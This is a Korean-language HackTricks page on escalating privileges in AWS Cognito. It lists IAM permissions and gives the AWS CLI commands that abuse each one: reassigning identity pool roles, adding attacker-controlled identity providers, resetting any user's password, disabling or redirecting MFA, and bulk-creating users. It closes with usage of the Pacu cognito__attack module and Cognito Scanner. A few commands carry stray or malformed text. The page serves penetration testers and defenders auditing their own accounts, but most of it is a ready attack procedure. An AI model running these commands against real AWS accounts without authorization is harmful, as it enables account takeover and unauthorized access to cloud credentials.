AWS - Cognito Privesc

HackTricks 지원

Cognito

Cognito에 대한 자세한 정보는 다음을 확인하세요:

AWS - Cognito Enum

Identity Pool에서 자격 증명 수집

Cognito는 인증비인증 사용자에게 IAM 역할 자격 증명을 부여할 수 있기 때문에, 응용 프로그램의 Identity Pool ID를 찾으면(응용 프로그램에 하드코딩되어 있어야 함) 새 자격 증명을 얻을 수 있으며, 따라서 privesc(아마도 이전에 자격 증명이 전혀 없었던 AWS 계정 내에서)가 가능합니다.

자세한 정보는 이 페이지를 확인하세요.

잠재적인 영향: 비인증 사용자에 연결된 서비스 역할로의 직접적인 권한 상승(아마도 인증된 사용자에 연결된 역할로도).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

이 권한을 사용하면 cognito 앱의 인증/비인증 사용자에게 어떤 cognito 역할이든 부여할 수 있습니다.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

만약 Cognito 앱에 인증되지 않은 사용자가 활성화되어 있지 않다면, 이를 활성화하기 위해 cognito-identity:UpdateIdentityPool 권한이 필요할 수 있습니다.

잠재적인 영향: 어떤 cognito 역할에 대한 직접적인 권한 상승.

cognito-identity:update-identity-pool

이 권한을 가진 공격자는 예를 들어 자신이 제어하는 Cognito 사용자 풀이나 다른 로그인할 수 있는 신원 제공자를 설정할 수 있어 이 Cognito Identity Pool에 액세스할 수 있는 방법으로 사용할 수 있습니다. 그런 다음, 해당 사용자 제공자에 로그인하면 Identity Pool에서 구성된 인증된 역할에 액세스할 수 있게 됩니다.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

이 권한을 남용하여 기본 인증을 허용할 수도 있습니다:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

잠재적 영향: ID 풀 내에서 구성된 인증된 IAM 역할을 침해할 수 있습니다.

cognito-idp:AdminAddUserToGroup

이 권한은 Cognito 사용자를 Cognito 그룹에 추가할 수 있게 합니다. 따라서 공격자는 이 권한을 남용하여 자신이 제어하는 사용자를 더 나은 권한이나 다른 IAM 역할이 있는 다른 그룹에 추가할 수 있습니다.

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

잠재적 영향: 다른 Cognito 그룹 및 사용자 풀 그룹에 연결된 IAM 역할로의 권한 상승.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

이 권한을 가진 공격자는 모든 IAM 역할로 그룹을 생성/업데이트하고 침해당한 Cognito Identity Provider에서 사용할 수 있는 모든 IAM 역할에 액세스할 수 있는 그룹에 침해당한 사용자를 포함시킬 수 있습니다:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

잠재적 영향: 다른 Cognito IAM 역할로의 권한 상승.

cognito-idp:AdminConfirmSignUp

이 권한은 가입을 확인할 수 있습니다. 기본적으로 누구나 Cognito 애플리케이션에 가입할 수 있지만, 이 권한이 남아있으면 사용자가 어떤 데이터로든 계정을 생성하고 이 권한으로 확인할 수 있습니다.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

잠재적 영향: 새 사용자를 등록할 수 있다면 인증된 사용자를 위한 identity pool IAM 역할로 간접적인 권한 상승이 가능합니다. 어떤 계정이든 확인할 수 있기 때문에 다른 앱 기능으로의 간접적인 권한 상승이 가능합니다.

cognito-idp:AdminCreateUser

이 권한을 가진 사용자는 사용자 풀 내에 새 사용자를 생성할 수 있습니다. 새 사용자는 활성화되지만 비밀번호를 변경해야 합니다.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

잠재적 영향: 인증된 사용자를 위한 Identity Pool IAM 역할로의 직접 권한 상승. 어떤 사용자든 생성할 수 있어 다른 앱 기능으로의 간접 권한 상승이 가능합니다.

cognito-idp:AdminEnableUser

이 권한은 비활성화된 사용자의 자격 증명을 찾은 공격자가 해당 사용자를 다시 활성화해야 하는 매우 특수한 상황에서 도움이 될 수 있습니다.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

잠재적 영향: 인증된 사용자의 ID 풀 IAM 역할로의 간접 권한 상승 및 비활성화된 사용자의 자격 증명을 가진 공격자가 사용자의 권한을 가질 수 있음.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

이 권한은 ADMIN_USER_PASSWORD_AUTH 메소드를 사용하여 로그인하는 것을 허용합니다. 자세한 정보는 링크를 참조하십시오.

cognito-idp:AdminSetUserPassword

이 권한은 공격자가 모든 사용자의 암호를 변경할 수 있게 하며, 이를 통해 MFA가 활성화되지 않은 사용자를 피해 사용자로 위장할 수 있습니다.

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

잠재적 영향: 잠재적으로 모든 사용자로의 직접적인 권한 상승으로, 각 사용자가 소속된 모든 그룹에 대한 액세스 및 Identity Pool 인증된 IAM 역할에 대한 액세스가 가능합니다.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: 공격자는 이 권한을 악용하여 자신이 제어하는 휴대폰을 사용자의 SMS MFA로 설정할 수 있습니다.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: 이전과 유사하게이 권한은 사용자의 MFA 환경 설정을 우회하여 MFA 보호를 우회하는 데 사용할 수 있습니다.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: 이전과 유사하게이 권한은 사용자 풀의 MFA 환경 설정을 우회하여 MFA 보호를 설정할 수 있습니다.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: 사용자 풀을 업데이트하여 MFA 정책을 변경할 수도 있습니다. 여기에서 cli 확인.

잠재적인 영향: 공격자가 자격 증명을 알고 있는 잠재적으로 모든 사용자로 간접 권한 상승이 가능하며, 이는 MFA 보호를 우회할 수 있게 합니다.

cognito-idp:AdminUpdateUserAttributes

이 권한을 가진 공격자는 자신이 제어하는 사용자의 이메일 또는 전화번호 또는 다른 속성을 변경하여 하부 응용 프로그램에서 더 많은 권한을 얻으려고 시도할 수 있습니다. 이를 통해 이메일이나 전화번호를 변경하고 확인된 상태로 설정할 수 있습니다.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

잠재적 영향: Cognito 사용자 풀을 사용하여 권한을 부여하는 기존 응용 프로그램에서의 잠재적인 간접 권한 상승.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

이 권한을 가진 공격자는 이미 존재하는 풀 클라이언트보다 제한이 적은 새로운 사용자 풀 클라이언트를 생성할 수 있습니다. 예를 들어, 새 클라이언트는 어떤 종류의 인증 방법이든 허용할 수 있고, 비밀번호가 없을 수 있으며, 토큰 취소가 비활성화되어 있을 수 있으며, 토큰이 더 오랫동안 유효할 수 있습니다...

동일한 작업은 기존 클라이언트를 수정하는 경우에도 수행할 수 있습니다.

명령줄 (또는 업데이트 명령)에서 모든 옵션을 확인할 수 있습니다.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

잠재적 영향: 새 클라이언트를 생성하여 보안 조치를 완화하고 공격자가 생성할 수 있는 사용자로 로그인할 수 있게 만들어 Identity Pool이 User Pool에서 사용하는 권한 상승이 가능해질 수 있습니다.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

해커는 이 권한을 남용하여 새 사용자를 생성하기 위해 새 사용자 csv를 업로드할 수 있습니다.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

잠재적 영향: 인증된 사용자를 위한 Identity Pool IAM 역할로의 직접 권한 상승. 어떤 사용자든지 생성할 수 있는 다른 앱 기능으로 간접적인 권한 상승.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

공격자는 새로운 식별 공급자를 생성하여 이 공급자를 통해 로그인할 수 있습니다.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

잠재적 영향: 인증된 사용자를 위한 Identity Pool IAM 역할로의 직접 권한 상승. 어떤 사용자든 생성할 수 있는 다른 앱 기능으로의 간접 권한 상승.

cognito-sync:* 분석

이는 Cognito Identity Pool 역할의 기본 권한 중 매우 일반적인 권한입니다. 권한에 와일드카드가 항상 나쁘게 보이지만 (특히 AWS에서 온 것이라면), 공격자 관점에서 주어진 권한은 매우 유용하지 않습니다.

이 권한은 Identity Pools 및 Identity Pools 내 Identity ID의 사용자 정보를 읽을 수 있게 합니다 (민감한 정보는 아닙니다). Identity ID에는 Datasets가 할당될 수 있으며, 이는 세션 정보 (AWS에서는 저장된 게임으로 정의함)입니다. 이것에 어떤 종류의 민감한 정보가 포함될 수 있지만 (하지만 확률은 매우 낮음) 열거 페이지에서 이 정보에 액세스하는 방법을 찾을 수 있습니다.

공격자는 또한 이러한 권한을 사용하여 Cognito 이벤트에서 트리거되는 Cognito 스트림에 자신을 등록하거나 cognito 이벤트에서 트리거되는 람다에 사용할 수 있습니다. 이것을 사용한 적은 없지만, 여기에 민감한 정보가 있을 것으로 기대하지는 않지만 불가능하지는 않습니다.

자동 도구

  • Pacu, AWS 취약점 분석 프레임워크, 이제 계정 내 모든 Cognito 자산의 열거화를 자동화하고 약한 구성, 액세스 제어에 사용되는 사용자 속성 등을 식별하며 사용자 생성 (MFA 지원 포함), 수정 가능한 사용자 지정 속성, 사용 가능한 Identity Pool 자격 증명, id 토큰의 가정 가능한 역할 등을 기반으로 권한 상승을 자동화하는 "cognito__enum" 및 "cognito__attack" 모듈을 포함합니다.

모듈 기능에 대한 설명은 블로그 게시물의 2부를 참조하십시오. 설치 지침은 주요 Pacu 페이지를 참조하십시오.

사용법

주어진 Identity Pool 및 사용자 풀 클라이언트에 대해 사용자 생성 및 모든 권한 상승 벡터를 시도하는 샘플 cognito__attack 사용법:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

다음은 현재 AWS 계정에서 볼 수 있는 모든 사용자 풀, 사용자 풀 클라이언트, ID 풀, 사용자 등을 수집하기 위한 cognito__enum 사용 예시입니다:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner은 Cognito에 대한 다양한 공격을 구현한 파이썬 CLI 도구로, 권한 상승(privesc)을 포함합니다.

설치

$ pip install cognito-scanner

사용법

$ cognito-scanner --help

더 많은 정보는 https://github.com/padok-team/cognito-scanner에서 확인하세요.

HackTricks 지원

Last updated